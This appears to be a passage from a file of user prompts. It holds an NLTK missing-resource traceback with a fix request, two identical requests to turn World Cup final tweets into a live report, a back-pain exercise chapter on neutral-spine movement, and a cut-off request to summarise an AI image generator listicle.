nltk.data.find(f"{self.subdir}/{zip\\_name}")\n 85 except LookupError:\n---> 86 raise e\n 87 \n 88 # Load the corpus.\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 79 else:\n 80 try:\n---> 81 root = nltk.data.find(f"{self.subdir}/{self.\\_\\_name}")\n 82 except LookupError as e:\n 83 try:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\data.py in find(resource\\_name, paths)\n 581 sep = "\\*" \\* 70\n 582 resource\\_not\\_found = f"\\n{sep}\\n{msg}\\n{sep}\\n"\n--> 583 raise LookupError(resource\\_not\\_found)\n 584 \n 585 \n\nLookupError: \n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n Resource omw-1.4 not found.\n Please use the NLTK Downloader to obtain the resource:\n\n >>> import nltk\n >>> nltk.download(\'omw-1.4\')\n \n For more information see: https://www.nltk.org/data.html\n\n Attempted to load corpora/omw-1.4\n\n Searched in:\n - \'C:\\\\Users\\\\rockr/nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\share\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\lib\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\AppData\\\\Roaming\\\\nltk\\_data\'\n - \'C:\\\\nltk\\_data\'\n - \'D:\\\\nltk\\_data\'\n - \'E:\\\\nltk\\_data\'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nplease fix this error' -'Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets :\n\nsourceText Time\nSublime team goal from Argentina that #FIFAWorldCup #ArgentinaVsFrance 15:36:49.0000000\nTotal domination ???? What a great team goal #WorldCupFinal 15:36:16.0000000\nWhat a goal, what a team, France Over and Out 15:36:21.0000000\nWhat a beautiful team goal by Argentina #WorldCupFinal 15:36:09.0000000\nWHAT A TEAM GOAL BY ARGENTINA! 2-0! ???? #FIFAWorldCup 15:36:21.0000000\nUnbelievable team goal that from Argentina ???? 15:36:04.0000000\nSimply brilliant from Argentina.\'Superb team goal ???????? 15:36:30.0000000\nFantastic team goal from Argentina ???? 15:36:27.0000000\nGreat team goal by #Argentina. Those tears you were talking about @piersmorgan , are they yours? #ArgentinaVsFrance 2-0 15:36:50.0000000\nARGENTINA. What an absolute team goal that was. Great finish! 15:36:43.0000000\nGreat team goal. France are flopping big time here 15:36:55.0000000\nWHAT A TEAM GOAL FROM ARGENTINA 15:36:09.0000000\nGreat team goal. France have been proper shit. 15:36:23.0000000\nWhat a team goal France never just got going in this match #FIFAWorldCup 15:36:48.0000000\nMy word is Argentina bossing this! What a team goal! 15:36:56.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\n@la5ty That was a sick goal great team work they are all over France 15:36:59.0000000\nWhat a lovely Team Goal!! Argentina FULLY deserve this handsome lead btw. France are in the mud. ?????????? #ARGFRA #FIFAWorldCup 15:36:57.0000000\nThat\'s the goal of the tournament by team wow #ArgentinaVsFrance 15:36:29.0000000\nArgentina with the best team goal of the tournament 15:36:35.0000000\nBrilliant team goal. Argentina running away with it. 15:36:08.0000000\nUnbelievably good team goal that. France torn apart. 15:36:02.0000000\nNow that was some team goal by #arg . #ArgentinaVsFrance 15:36:15.0000000\nThat was a lovely team goal. #ArgentinaVsFrance 15:36:50.0000000\nHoly fuck the Argentina team is on fire. They\'re taking this world cup easily. Even the penalty goal was well deserved. 15:36:52.0000000\nThat’s a serious team goal wow ?? #ArgentinaVsFrance 15:36:36.0000000\nWHAT A TEAM GOAL\'\'lets go there #FIFAWorldCup \'#FIFAWorldCupFinal \'#ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal worthy of the finals #WorldCup \'Argentina deserves to win this better team all game 15:36:57.0000000\nWhat a team goal wooow\'\'Argentina don\'t fumble please 15:36:37.0000000\nOne pass from Messi and he dismantles the France defense to help his team set up the second goal ????? 15:36:52.0000000\nWhat a sublime team goal , Goal Argentina 15:36:35.0000000\nGood team Goal..#ArgentinaVsFrance 15:36:16.0000000\nI have to say what a goal from Argentina. Brilliant team goal. 15:36:09.0000000\nQuality team goal... #FIFAWorldCupFinal #FIFAWorldCup 15:36:33.0000000\nNo mistake this time. #DiMaria scores a well worked goal from #Argentina. Excellent team effort. \'\'#Argentina 2-0 #France. #WorldCupFinal 15:36:38.0000000\nDi Maria has been excellent in the first half. What a great team goal by Argentina!! 15:36:51.0000000\nWHAT A FUCKING TEAM GOAL!!! VAMOS ARGENTINA CARAJO!! #FIFAWorldCup 15:36:59.0000000\nIncredible team goal involving Messi and Mac Allister. 2-0 to Argentina. 15:36:52.0000000\nWhat a team goal. ???? #WorldCup #ArgentinaVsFrance 15:36:41.0000000\n“Soft penalty”, soft second goal, soft boys - everything soft!!! Go team Argentina!!! 15:36:26.0000000\nSpectacular team goal. Wow. #WorldCupFinal 15:36:32.0000000\nWhat a great team goal by Argentina ?? 15:36:49.0000000\nArgentina ripping the French a new one here!!! France still in the changing room!! Great team goal that… 15:36:49.0000000\nWHAT A TEAM GOAL ARGENTINA!!!!! 15:36:33.0000000\nThat was fucking fantastic by Argentina! What a team goal that was! 15:36:08.0000000\nWhat a fucking team goal #ArgentinaVsFrance #FIFAWorldCup 15:36:28.0000000\nWhat a team goal from Argentina ???????????? 15:36:09.0000000\nFirst goal was never a pen but second was great team goal.. France look poor... Where\'s Mbappe? 15:36:54.0000000\nFantastic team goal by Argentina ???? 15:36:53.0000000\nWhat an incredible team goal!!!! Only one team in this #ArgentinaVsFrance #WorldCupFinal #FIFAWorldCup ???? 15:36:58.0000000\nThat was art from Argentina. What a team goal. 15:36:29.0000000\nwhat a dam good goal what a team goal #ARGFRA 15:36:20.0000000\nBest team goal so far. \'#Argentina #WorldCup 15:36:31.0000000\nTWO NIL TO ARGENTINA IN THE WORLD CUP FINAL WHAT A BALL WHAT A TEAM GOAL MAGNIFICENT 15:36:44.0000000\n2-0 2-0 2-0 2-0 MESSI IS WINNING IT ARGENTINA IS WINNING IT WHAT A TEAM GOAL 15:36:21.0000000\nWhat a goal by Argentina...excellent goal. Proper team work. 15:36:12.0000000\nThat’s a fucking amazing goal team goal of the tournament #ArgentinaVsFrance 15:36:02.0000000\nFantastic team goal by ARGENTINA #FIFAWorldCup #ArgentinaVsFrance 15:36:55.0000000\nGreat team goal that #ArgentinaVsFrance 15:36:18.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nBeautiful team goal for Argentina. Messi gets ?? tonight. 15:36:37.0000000\nWow! What a team goal by Argentina! Wow! 15:36:11.0000000\nThe French team ain\'t playing like this is a final. No attempt on goal for 35min #ArgentinaVsFrance #FIFAWorldCup 15:35:54.0000000\nAn absolutely sensational counter attack from Argentina. What a team goal. 15:36:24.0000000\nBrilliant team goal from Argentina! 15:36:17.0000000\nSouthgate should of beaten this France team... Embrassing that journos though lossing by 1 goal to them was a "good result". 15:36:54.0000000\nNo attempt on goal. No shot on target. Yet unuh a talk bout ref. The ref fi play pon France team give them a extra player? 15:35:14.0000000\nBrilliant team goal…. Bwoy France it’s not looking good bruv 15:36:52.0000000\nAngel Fucking Di Maria????????????\'Oh my God\'This is absolutely beautiful \'#ArgentinaVsFrance #FIFAWorldCup \'Goal of the tournament in terms of team work 15:36:28.0000000\nUnreal team goal ?? #ARGFRA 15:35:55.0000000\nHe deserved that goal! What a team run! #ARGFRA #WorldCupFinal 15:36:52.0000000\nUnbelievable team goal #WorldCupFinal 15:36:26.0000000\nLionel Messi is now the first man to: \'\'• Play 26 games at the World Cup \'\'• Score in all rounds of a 32-team World Cup \'\'• First player to have 20 goal involvements\'\'• Equaled Pele’s record of 12 goals in five World Cups https://t.co/hxbhk80O6N 15:36:13.0000000\n#ARG IS PLAYING LIKE A TEAM POSSESSED! WHAT A GOAL!!!!! #ARGFRA #FIFAWorldCup 15:36:50.0000000\nIncredible team goal #ArgentinaVsFrance 15:36:04.0000000\nBrilliant team goal 2-0 Argentina 15:36:08.0000000\nFabulous team goal #WorldCupFinal 15:36:36.0000000\nSecond goal by Argentina...this French team no ready at all 15:36:38.0000000\nNah shoutout to Argentina, what a team goal. Wow 15:36:31.0000000\nWhat a goal by Argentina. Best team goal all tournament 15:36:32.0000000\nArgentina is all class today. What a team goal! 15:36:36.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nFrance with 0 attempts on goal after 35mins. I never expected that. They\'ve usually gotten the 1st goal before sitting back and hitting on the break. 2-0 down and looking like a team with no fight in them #ARGFRA #FIFAWorldCup 15:36:50.0000000\n@mr\\_ntim Argentina the better team so far. They can score second goal anytime 15:34:15.0000000\n#FIFAWorldCup | Lionel Messi scores first goal for the team. Argentina 1-0 against France https://t.co/YbT5G13mR5 15:35:50.0000000\nFrance is getting sliced and diced. What a freaking team goal from #ARG. 15:36:51.0000000\nE be like this France team no chop come field...35 mins and no single attempt on goal.... 15:35:44.0000000\nBrilliant team goal that, good finish by Di Maria! Argentina all over France here 15:36:40.0000000\nWhat a team goal from Argentina. Right attitude and set-up from the first second. 15:36:58.0000000\nAmazing team goal. Fully deserved btw they’ve been class. France look defeated already 15:36:48.0000000\nAu Revoir France! My word what a team goal. #FIFAWorldCup https://t.co/U67QNIHAQm 15:36:54.0000000\nWhat a goal ????\'France second best team 3 games in a row 15:36:18.0000000\nThat was an excellent team goal, Argentina 2 - France 0 #ARGFRA 15:36:12.0000000\nWHAT A TEAM GOAL! Argentina have battered these French twats 15:36:42.0000000\nThat, is the best team goal of the World Cup. #WorldCupFinal 15:36:33.0000000\nArgentina 2nd goal ??\'What a team work ?????? 15:36:48.0000000\nGOAL Argentina 2-0 France Di Maria, wonderful team goal #ARGFRA #FIFAWorldCup 15:36:06.0000000\nargentina 2 -0. wonderful, wonderful team goal 15:36:37.0000000\nIs a 2–0 lead after 35 minutes deserved? Without a shadow of a doubt. Outstanding team goal #ARGFRA 15:36:23.0000000\nThat was a good team goal Argentina ???????? 15:36:59.0000000' -'Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets :\n\nsourceText Time\nSublime team goal from Argentina that #FIFAWorldCup #ArgentinaVsFrance 15:36:49.0000000\nTotal domination ???? What a great team goal #WorldCupFinal 15:36:16.0000000\nWhat a goal, what a team, France Over and Out 15:36:21.0000000\nWhat a beautiful team goal by Argentina #WorldCupFinal 15:36:09.0000000\nWHAT A TEAM GOAL BY ARGENTINA! 2-0! ???? #FIFAWorldCup 15:36:21.0000000\nUnbelievable team goal that from Argentina ???? 15:36:04.0000000\nSimply brilliant from Argentina.\'Superb team goal ???????? 15:36:30.0000000\nFantastic team goal from Argentina ???? 15:36:27.0000000\nGreat team goal by #Argentina. Those tears you were talking about @piersmorgan , are they yours? #ArgentinaVsFrance 2-0 15:36:50.0000000\nARGENTINA. What an absolute team goal that was. Great finish! 15:36:43.0000000\nGreat team goal. France are flopping big time here 15:36:55.0000000\nWHAT A TEAM GOAL FROM ARGENTINA 15:36:09.0000000\nGreat team goal. France have been proper shit. 15:36:23.0000000\nWhat a team goal France never just got going in this match #FIFAWorldCup 15:36:48.0000000\nMy word is Argentina bossing this! What a team goal! 15:36:56.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\n@la5ty That was a sick goal great team work they are all over France 15:36:59.0000000\nWhat a lovely Team Goal!! Argentina FULLY deserve this handsome lead btw. France are in the mud. ?????????? #ARGFRA #FIFAWorldCup 15:36:57.0000000\nThat\'s the goal of the tournament by team wow #ArgentinaVsFrance 15:36:29.0000000\nArgentina with the best team goal of the tournament 15:36:35.0000000\nBrilliant team goal. Argentina running away with it. 15:36:08.0000000\nUnbelievably good team goal that. France torn apart. 15:36:02.0000000\nNow that was some team goal by #arg . #ArgentinaVsFrance 15:36:15.0000000\nThat was a lovely team goal. #ArgentinaVsFrance 15:36:50.0000000\nHoly fuck the Argentina team is on fire. They\'re taking this world cup easily. Even the penalty goal was well deserved. 15:36:52.0000000\nThat’s a serious team goal wow ?? #ArgentinaVsFrance 15:36:36.0000000\nWHAT A TEAM GOAL\'\'lets go there #FIFAWorldCup \'#FIFAWorldCupFinal \'#ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal worthy of the finals #WorldCup \'Argentina deserves to win this better team all game 15:36:57.0000000\nWhat a team goal wooow\'\'Argentina don\'t fumble please 15:36:37.0000000\nOne pass from Messi and he dismantles the France defense to help his team set up the second goal ????? 15:36:52.0000000\nWhat a sublime team goal , Goal Argentina 15:36:35.0000000\nGood team Goal..#ArgentinaVsFrance 15:36:16.0000000\nI have to say what a goal from Argentina. Brilliant team goal. 15:36:09.0000000\nQuality team goal... #FIFAWorldCupFinal #FIFAWorldCup 15:36:33.0000000\nNo mistake this time. #DiMaria scores a well worked goal from #Argentina. Excellent team effort. \'\'#Argentina 2-0 #France. #WorldCupFinal 15:36:38.0000000\nDi Maria has been excellent in the first half. What a great team goal by Argentina!! 15:36:51.0000000\nWHAT A FUCKING TEAM GOAL!!! VAMOS ARGENTINA CARAJO!! #FIFAWorldCup 15:36:59.0000000\nIncredible team goal involving Messi and Mac Allister. 2-0 to Argentina. 15:36:52.0000000\nWhat a team goal. ???? #WorldCup #ArgentinaVsFrance 15:36:41.0000000\n“Soft penalty”, soft second goal, soft boys - everything soft!!! Go team Argentina!!! 15:36:26.0000000\nSpectacular team goal. Wow. #WorldCupFinal 15:36:32.0000000\nWhat a great team goal by Argentina ?? 15:36:49.0000000\nArgentina ripping the French a new one here!!! France still in the changing room!! Great team goal that… 15:36:49.0000000\nWHAT A TEAM GOAL ARGENTINA!!!!! 15:36:33.0000000\nThat was fucking fantastic by Argentina! What a team goal that was! 15:36:08.0000000\nWhat a fucking team goal #ArgentinaVsFrance #FIFAWorldCup 15:36:28.0000000\nWhat a team goal from Argentina ???????????? 15:36:09.0000000\nFirst goal was never a pen but second was great team goal.. France look poor... Where\'s Mbappe? 15:36:54.0000000\nFantastic team goal by Argentina ???? 15:36:53.0000000\nWhat an incredible team goal!!!! Only one team in this #ArgentinaVsFrance #WorldCupFinal #FIFAWorldCup ???? 15:36:58.0000000\nThat was art from Argentina. What a team goal. 15:36:29.0000000\nwhat a dam good goal what a team goal #ARGFRA 15:36:20.0000000\nBest team goal so far. \'#Argentina #WorldCup 15:36:31.0000000\nTWO NIL TO ARGENTINA IN THE WORLD CUP FINAL WHAT A BALL WHAT A TEAM GOAL MAGNIFICENT 15:36:44.0000000\n2-0 2-0 2-0 2-0 MESSI IS WINNING IT ARGENTINA IS WINNING IT WHAT A TEAM GOAL 15:36:21.0000000\nWhat a goal by Argentina...excellent goal. Proper team work. 15:36:12.0000000\nThat’s a fucking amazing goal team goal of the tournament #ArgentinaVsFrance 15:36:02.0000000\nFantastic team goal by ARGENTINA #FIFAWorldCup #ArgentinaVsFrance 15:36:55.0000000\nGreat team goal that #ArgentinaVsFrance 15:36:18.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nBeautiful team goal for Argentina. Messi gets ?? tonight. 15:36:37.0000000\nWow! What a team goal by Argentina! Wow! 15:36:11.0000000\nThe French team ain\'t playing like this is a final. No attempt on goal for 35min #ArgentinaVsFrance #FIFAWorldCup 15:35:54.0000000\nAn absolutely sensational counter attack from Argentina. What a team goal. 15:36:24.0000000\nBrilliant team goal from Argentina! 15:36:17.0000000\nSouthgate should of beaten this France team... Embrassing that journos though lossing by 1 goal to them was a "good result". 15:36:54.0000000\nNo attempt on goal. No shot on target. Yet unuh a talk bout ref. The ref fi play pon France team give them a extra player? 15:35:14.0000000\nBrilliant team goal…. Bwoy France it’s not looking good bruv 15:36:52.0000000\nAngel Fucking Di Maria????????????\'Oh my God\'This is absolutely beautiful \'#ArgentinaVsFrance #FIFAWorldCup \'Goal of the tournament in terms of team work 15:36:28.0000000\nUnreal team goal ?? #ARGFRA 15:35:55.0000000\nHe deserved that goal! What a team run! #ARGFRA #WorldCupFinal 15:36:52.0000000\nUnbelievable team goal #WorldCupFinal 15:36:26.0000000\nLionel Messi is now the first man to: \'\'• Play 26 games at the World Cup \'\'• Score in all rounds of a 32-team World Cup \'\'• First player to have 20 goal involvements\'\'• Equaled Pele’s record of 12 goals in five World Cups https://t.co/hxbhk80O6N 15:36:13.0000000\n#ARG IS PLAYING LIKE A TEAM POSSESSED! WHAT A GOAL!!!!! #ARGFRA #FIFAWorldCup 15:36:50.0000000\nIncredible team goal #ArgentinaVsFrance 15:36:04.0000000\nBrilliant team goal 2-0 Argentina 15:36:08.0000000\nFabulous team goal #WorldCupFinal 15:36:36.0000000\nSecond goal by Argentina...this French team no ready at all 15:36:38.0000000\nNah shoutout to Argentina, what a team goal. Wow 15:36:31.0000000\nWhat a goal by Argentina. Best team goal all tournament 15:36:32.0000000\nArgentina is all class today. What a team goal! 15:36:36.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nFrance with 0 attempts on goal after 35mins. I never expected that. They\'ve usually gotten the 1st goal before sitting back and hitting on the break. 2-0 down and looking like a team with no fight in them #ARGFRA #FIFAWorldCup 15:36:50.0000000\n@mr\\_ntim Argentina the better team so far. They can score second goal anytime 15:34:15.0000000\n#FIFAWorldCup | Lionel Messi scores first goal for the team. Argentina 1-0 against France https://t.co/YbT5G13mR5 15:35:50.0000000\nFrance is getting sliced and diced. What a freaking team goal from #ARG. 15:36:51.0000000\nE be like this France team no chop come field...35 mins and no single attempt on goal.... 15:35:44.0000000\nBrilliant team goal that, good finish by Di Maria! Argentina all over France here 15:36:40.0000000\nWhat a team goal from Argentina. Right attitude and set-up from the first second. 15:36:58.0000000\nAmazing team goal. Fully deserved btw they’ve been class. France look defeated already 15:36:48.0000000\nAu Revoir France! My word what a team goal. #FIFAWorldCup https://t.co/U67QNIHAQm 15:36:54.0000000\nWhat a goal ????\'France second best team 3 games in a row 15:36:18.0000000\nThat was an excellent team goal, Argentina 2 - France 0 #ARGFRA 15:36:12.0000000\nWHAT A TEAM GOAL! Argentina have battered these French twats 15:36:42.0000000\nThat, is the best team goal of the World Cup. #WorldCupFinal 15:36:33.0000000\nArgentina 2nd goal ??\'What a team work ?????? 15:36:48.0000000\nGOAL Argentina 2-0 France Di Maria, wonderful team goal #ARGFRA #FIFAWorldCup 15:36:06.0000000\nargentina 2 -0. wonderful, wonderful team goal 15:36:37.0000000\nIs a 2–0 lead after 35 minutes deserved? Without a shadow of a doubt. Outstanding team goal #ARGFRA 15:36:23.0000000\nThat was a good team goal Argentina ???????? 15:36:59.0000000' -'CHAPTER FIFTEEN\n RULE #6\n Crawl Before You Walk, Walk Before You Run\n From Jeremy\nAs you know by now, the essence of the protocol is lifelong behavioral change. That means changing the way you carry yourself and move (the neutral spine and all that). But it also means adopting and staying with our carefully designed (and progressive) exercise regimen. It is designed for back pain and it is essential for a permanent cure. And you have to do it correctly. There is an awful lot of text and a bunch of pictures about exercise in this book. But it’s not because you have to do so many exercises; there really aren’t that many. It’s because we want you to do them right. Remember, you are far more likely to do these exercises with the compensatory patterns you have been doing for years unless you read closely and concentrate on doing them the right way. Doing them the wrong way will just make you better at doing bad things. \nOne great key to doing them right is to go slow in the learning process. Whether you’re the type or not, you have to take it step-by-step. This is a healing process, and you cannot rush a healing process; it has its own rhythm and you have to follow it. Roll out these exercises slowly over time, progressing from one level to the next only when you “get” the level you are on and are ready to move up. \nRemember, it is these daily exercises that—more than anything else—are going to give most of you a significant and permanent reduction in pain and tightness. Other steps get you past the immediate pain. These steps make the change permanent. \nBe Still to Heal; Be Still to Stay Well \nOne of the main goals of changing your movement patterns is to make the “be still to heal” concept (Rule #2, in Chapter 7) part of your daily life. Once you have achieved an initial fix, you don’t have to be as still. But it is a great idea to learn to move with relative stillness (without moving your lumbar spine too much) all the time. \nThis is a big change for most of you, and you have to take it in steps; as I say, you have to crawl before you walk. The first step in learning to keep your lumbar spine still routinely is simply to learn to march in place, with a neutral spine. (This is the “crawl” part of the process; it may seem too easy to bother with. It is not.) The goal is to learn to march in place with no lower spine movement. Then you can move on to other movements in this chapter.\nKey tip: If any of these movements hurt, take a step back to the last thing you could do without pain (marching in place, for instance). Stay with that for a few more days and then try to progress again. In theory, if you can march in place without pain, you can walk without pain and move without pain. It’s just a matter of building up your core, turning on the right muscles, and learning to use those muscles to move in the right way. Whenever you have difficulty, go back to the previous step and start again. \nOkay, you’ve done marching in place without moving your lower spine. Once that feels relatively simple, try doing this while walking. Things become a little murkier here because there are many factors at play. Because you are now weight-bearing, you need the support of important muscle groups like the glutes and latissimus dorsi (lats) to support your spine, in addition to the muscles we talked about in the core. If you can’t do this at first without pain, follow the advice in the book for a while, and it will come once you have developed enough strength to support your spine while standing. \nWalking with Neutral Spine \nLearning to walk with a neutral spine means applying the same mechanics of your Slow March with Neutral Spine exercise to an upright, weight-bearing position. Almost everyone can improve their ability to walk without pain if they can do the slow march exercise on the ground. The distance you can walk without pain, or without significant increases in pain, will increase as you build core and gluteal strength and endurance by doing the exercises in this book. To get started on increasing your ability to walk with decreased pain, follow these directions:\nStep 1: Stand with good posture. Stand tall, shoulders back, head over your shoulders. Think of sticking your chest out and pulling your shoulder blades down and back. Make sure you aren’t leaning forward. Tilt your pelvis back and forth (just like you did on the floor earlier), and stop where your lower back feels the most comfortable. \nStep 2: Use your core to lock your neutral spine in place. \nStep 3: Now try to walk while maintaining the position of your lower back and with the good posture you just set. It can help to put one hand on your stomach and one on your low back to feel for movement. Once you feel like you’ve mastered maintaining neutral spine while walking, start to swing your arms from the shoulders, arm to opposite leg. This means if your right leg is swinging forward, your left arm should be as well. Make sure to always swing your arms from the shoulders as you walk; this helps dissipate force away from the spine. This movement takes time to master so don’t get frustrated. Keep practicing. It gets easier after you have built endurance and strength in the muscles that support the spine. \nStep 4: If you sense your back is about to hurt, stop and have a seat for a few minutes and give your back a break. Then try walking a little longer. Over time, the period between these sitting breaks should increase, allowing you to walk farther without pain.\nNow let’s move on to more complex movements. To make it easier (and to improve your chances of success) we are going to break those more complex movements down into pieces and then put them all together at the end. We will start with movement from the hips, a very basic move in all our lives all the time. Let’s start with hip-hinging. Hip-hinging is a way to bend forward without stressing (i.e., bending) the spine. Done right, the axis of movement is in the hips, not the low back. Your low back should be in a protected neutral position with the core engaged. As you bend forward, your low back doesn’t round or move. Let’s look at a picture of hip-hinging and a picture of lumbar flexion (low back bending); one is good, the other is bad. This is simple stuff, but it is very hard to get over your ancient, bad habits. Hard but essential. \n\nHip-Hinge with Neutral Spine\nHere are a couple of pictures showing you the right way to hinge (on the left) and the wrong way (on the right). Notice the very slightly curved lower back in the hip-hinge picture on the left: no movement. Excellent! The pic on the right has quite a lot of spine movement; don’t do that. When you first try this movement, it may feel awkward, and you may assume that you cannot reach as far forward with good posture. Not so. You’ll soon realize that you can move just as far forward, using only your hips, as you did before, using your back. You don’t lose anything and you avoid a ton of pain. Over time you will gain mobility. The reason is that moving with your lower back eventually causes pain and stiffness in your back. But moving from your hips will not have that result. Let’s practice doing it right. \nRight Wrong\n\nStep 1: Stand with feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Feel the two bones sticking out of the sides of your hips. These are called your greater trochanters. Picture a pole going through these two points, passing right through your pelvis. This is your imaginary axis of movement.\nStep 5: Now place one hand on your stomach and the other on your back. On your back, put your fingers on those little bones sticking out (spinous processes). You are putting your hands here to feel for any unwanted movement when you hip-hinge. \nStep 6: Without moving anything in the core (you shouldn’t feel those little bones in your back moving), slowly bend forward on that imaginary axis of movement through the hip bones while sticking your buttocks out behind you a little bit. If you feel your stomach or back move, stop, reset, and try again.\n\nStep 7: Go only as far forward as you can without moving your back. For many of you, your hamstrings (back of legs) are going to be a limiting factor in your range of motion in the beginning. Don’t worry if you can’t go too far. Your hamstrings will loosen up in time if you follow all of the advice in this book. \nStep 8: Slowly return to the starting position without moving your back or stomach. \nStep 9: This should not hurt your low back. If it does, reset your stance, find neutral spine, brace your core. Not hurting? Now try it again with a very small range of motion. Stay within the range of motion that doesn’t hurt. Slowly increase your range of motion over time—it will come. \nAdding Rotation\nNow let’s get a little more complex. Let’s add rotation to the bend. Hip-hinging correctly allows you to move forward and backward without pain. Now let’s learn to move side to side. We are talking rotation. Again, think about moving from the hips. It’s easiest to visualize proper rotation if you think about your waist. We don’t want any movement at the waist. Try to picture your rib cage being locked on to your pelvis. That’s what you want. Pretend that there are no joints between your ribs and pelvis, for this one. \nFull-Body Rotation\nThe chest, navel, and hips all move together. This means there is no (or very little) movement in the spine. The body rotates by moving the hips, knees, and pelvis. If the hips and pelvis stay facing forward while the rib cage moves, the movement comes from the waist, and therefore the lumbar spine. This type of movement can wear down the discs and joints in the spine over time, especially when additional load is applied (like unloading the dishwasher for instance). Just like hip-hinging, rotation done properly doesn’t cause you to lose mobility and will improve athletic performance. Let’s give it a try. Once again, the new movement is not that hard. But you are trying to unlearn a lifetime of moving with your spine. That is hard. \n\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Place your hands on the top of your pelvis with your fingers pointed forward. This hand position is to help you visualize movement of the pelvis as you get used to this movement. \nStep 5: Keep the knees bent and loose but the core engaged, and try to turn a little to the right by shifting the knees and hips. Your fingers, navel, hip bones, chest bone, and face should all point the same direction. It’s okay if you pivot the feet a little bit. \n\nStep 6: Now try to the left.\nStep 7: Slowly increase your range of motion by bending more at the knees. \nStep 8: Then increase your range of motion even more by pivoting your feet. \nStep 9: At all times and especially at the end of the movement, your chest bone, head, navel, and hips should be in alignment. \nTROUBLESHOOTING\nKnee pain: Stay lighter on your feet\\ and pivot the ball of the inside foot (the side you are moving away from) as you rotate. \nTorso Rotation with Hip-Hinge and Squat\nNow let’s try to put those two movements—the hip-hinge and the rotation—together with a squat for a realistic, three-dimensional movement that allows you to accomplish everyday tasks (think unloading the dishwasher, putting up groceries) without stressing your back. You are going to rotate and bend down (hip-hinge), then come back up to the other side and extend. \nNotice that within that entire chain of movement, the person in the drawing does not really move his spine (look at the waist if you’re having trouble visualizing that). The rib cage remains locked onto the pelvis the entire time. These pictures show you that you can go almost 180 degrees from side to side, stooping as low as you can and then extending as high as your hands can go, without compromising your back. Let’s try it.\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Find neutral spine and engage your core to lock it in. \nStep 3: Stand with good posture. \nStep 4: Rotate torso to the right without twisting the waist as before.\n\nStep 5: Pivot the inside foot (left foot, in this case) as you turn.\nStep 6: After initiating the rotation, start to hinge at the hips, bending forward. Remember not to round your back. \n\nStep 7: Go only as low and as far to the right as you can without twisting at the waist or rounding your low back. You will now be in a squat/split squat position.\n\nStep 8: Reach out with your arms as if you were picking something up off of the floor. \n\nStep 9: Bring the arms back in and re-center your weight over your buttocks and feet. \nStep 10: Using your glutes, lift yourself out of the lowered position, pushing with your right glutes as you rotate back to midline while hinging back up through the hips. \n\nStep 11: As you swing past midline (without twisting at the waist!), pivot your right foot, continuing to use the right glutes, and extend your arms up toward the ceiling as if you were putting something on a shelf. \nStep 12: Return to the starting position without twisting at the waist. Try this in front of a mirror several times. \nStep 13: Then try this movement on the opposite side of your body. \nTROUBLESHOOTING\n• Knee pain: If your knees hurt as you start to rotate the torso, be lighter on your feet. Allow the feet to pivot a little bit. If the knees hurt when you are hinged forward at the bottom of the movement, drop your buttocks back more so that you are in a squat position (think of a baseball catcher) and lessen your range of motion. Try doing small movements and increase your range of motion gradually.\n• Back pain: If your back hurts with this one, it is likely you are twisting at the waist, rounding the back, or don’t have the gluteal strength yet to perform this movement to its full range of motion. Do a little investigating: Can you hip-hinge without pain? If so, that’s not the issue. Can you do the torso rotation without pain? Can you squat without pain? If you can do all three without pain then it is likely you are having difficulty putting all of these moves together without sacrificing form on one of them. Try doing this movement in very small pieces in front of a mirror or loved one, and gradually increase your range of motion over time. If any one piece causes pain, work on that one until you can do it pain-free, and then come back and try this movement again. \nRemember, these movements must become habits. That sounds daunting but it really isn’t that hard. Once your back starts to feel better, it will let you know when you move the wrong way and you’ll avoid that at all costs.' -'can you summirise this site please? "Skip to content\ndemandsage\nHome\nLatest\nReports\nBlog\nContact\n11+ Best AI Image Generators For Creators In 2022\nBy Shubham Singh / November 26, 2022\nBest AI Image Generators - DemandSage\nIt is rightly said that a picture can be worth a thousand words. In today’s digital world, you can paint a picture without picking up a brush. With our best AI image generators list, you can turn your words into mesmerizing images within a click!\n\nAI image generators are a boon for graphic designers, especially beginners still struggling to find ideas and inspiration for their projects. AI image generators eliminate the risk of copyright, meaning anyone can create personalized pictures without prior digital art experience. \n\nBest AI Image Generator — Jasper Art\n\nOur #1 pick for an AI Image generator is Jasper Art.🎯\nCreate unique and watermark-free images on Jasper Art.🔥\n\nGet Started With Jasper Art\n\nHowever, it is essential to find out which AI image generator can offer all the necessary features and 